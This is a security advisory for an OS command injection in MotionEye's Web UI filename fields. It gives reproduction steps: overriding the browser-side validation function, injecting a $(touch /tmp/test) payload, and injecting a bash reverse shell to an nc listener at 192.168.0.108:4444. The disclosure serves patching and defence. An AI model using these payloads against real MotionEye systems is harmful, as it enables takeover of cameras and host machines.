A command injection vulnerability in MotionEye allows attackers to achieve Remote Code Execution (RCE) by supplying malicious values in configuration fields exposed via the Web UI. Because MotionEye writes user-supplied values directly into Motion configuration files without sanitization, attackers can inject shell syntax that is executed when the Motion process restarts. This issue enables full takeover of the MotionEye container and potentially the host environment (depending on container privileges).
MotionEye accepts arbitrary strings from fields such as imagefilename and movie_filename in the Web UI. These are written directly into /etc/motioneye/camera-*.conf. When MotionEye restarts the Motion service (motionctl.start), the Motion binary reads this configuration. Because Motion treats these fields as shell-expandable, injected characters (e.g. $(), backticks) are interpreted as shell commands.
Dashboard (Web UI) ↓ ConfigHandler.set_config() ↓ camera-*.conf written ↓ motionctl.restart() ↓ Motion parses config → executes payload
The issue arises in how config.py handles user input before writing to config files. No sanitization or allowlisting is applied to filename fields.
The following steps reproduce the Remote Code Execution (RCE) vulnerability in MotionEye.
Tested using the official Docker image.
Start MotionEye container
Launch the vulnerable container:
docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
Verify version
Confirm the running version inside logs:
docker logs motioneye | grep "motionEye server"
Result:
motionEye server 0.43.1b4
<img width="741" height="168" alt="version_ver" src="https://github.com/user-attachments/assets/ac85d238-da7f-4274-9381-0119c01a1320" />
Container shell access (for verification later)
Keep a shell handy to verify results:
docker exec -it motioneye /bin/bash
ls -la /tmp
Access Web Interface
http://127.0.0.1:9999 Add a sample RTSP network camera (required to enable camera-specific settings).
<img width="1623" height="869" alt="add_camera" src="https://github.com/user-attachments/assets/d506a891-8b80-4b69-84f2-b195fcaca0cc" />
Attempt malicious filename input
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
Observation: This is blocked by client-side validation in the browser.
<img width="739" height="104" alt="er1" src="https://github.com/user-attachments/assets/817549fc-5cb2-4959-b29d-5cec745e096b" />
<img width="611" height="90" alt="er2" src="https://github.com/user-attachments/assets/a68eec73-bade-4cc5-b65b-4fc2dfbc7f01" />
Client-Side Validation Discovery
/static/js/main.js?v=0.43.1b4 → references /static/js/ui.js?v=0.43.1b4 function configUiValid() {
$('div.settings').find('.validator').each(function () { this.validate(); });
var valid = true;
$('div.settings input, select').each(function () {
if (this.invalid) { valid = false; return false; }
});
return valid;
}
Bypass Validation
configUiValid = function() { return true; };
Inject Payload
Interval Snapshots 10 $(touch /tmp/test).%Y-%m-%d-%H-%M-%S
Verify Execution
ls -la /tmp
/tmp/test is created with root permissions, confirming code execution.
<img width="554" height="164" alt="verify" src="https://github.com/user-attachments/assets/11122ba8-becf-4657-bc87-f88f293e8b02" />Start attacker listener
nc -lvnp 4444
Inject reverse shell payload
Enter the following into the Image File Name field:
$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S
Result
image_file_name) from the Web UI directly into camera-<id>.conf. motion binary parses these fields as shell-expandable strings, leading to arbitrary command execution. Type: OS Command Injection → Remote Code Execution
Who is impacted:
Potential consequences:
{
"github_reviewed": true,
"cwe_ids": [
"CWE-116",
"CWE-78"
],
"github_reviewed_at": "2025-11-03T21:48:19Z",
"nvd_published_at": null,
"severity": "HIGH"
}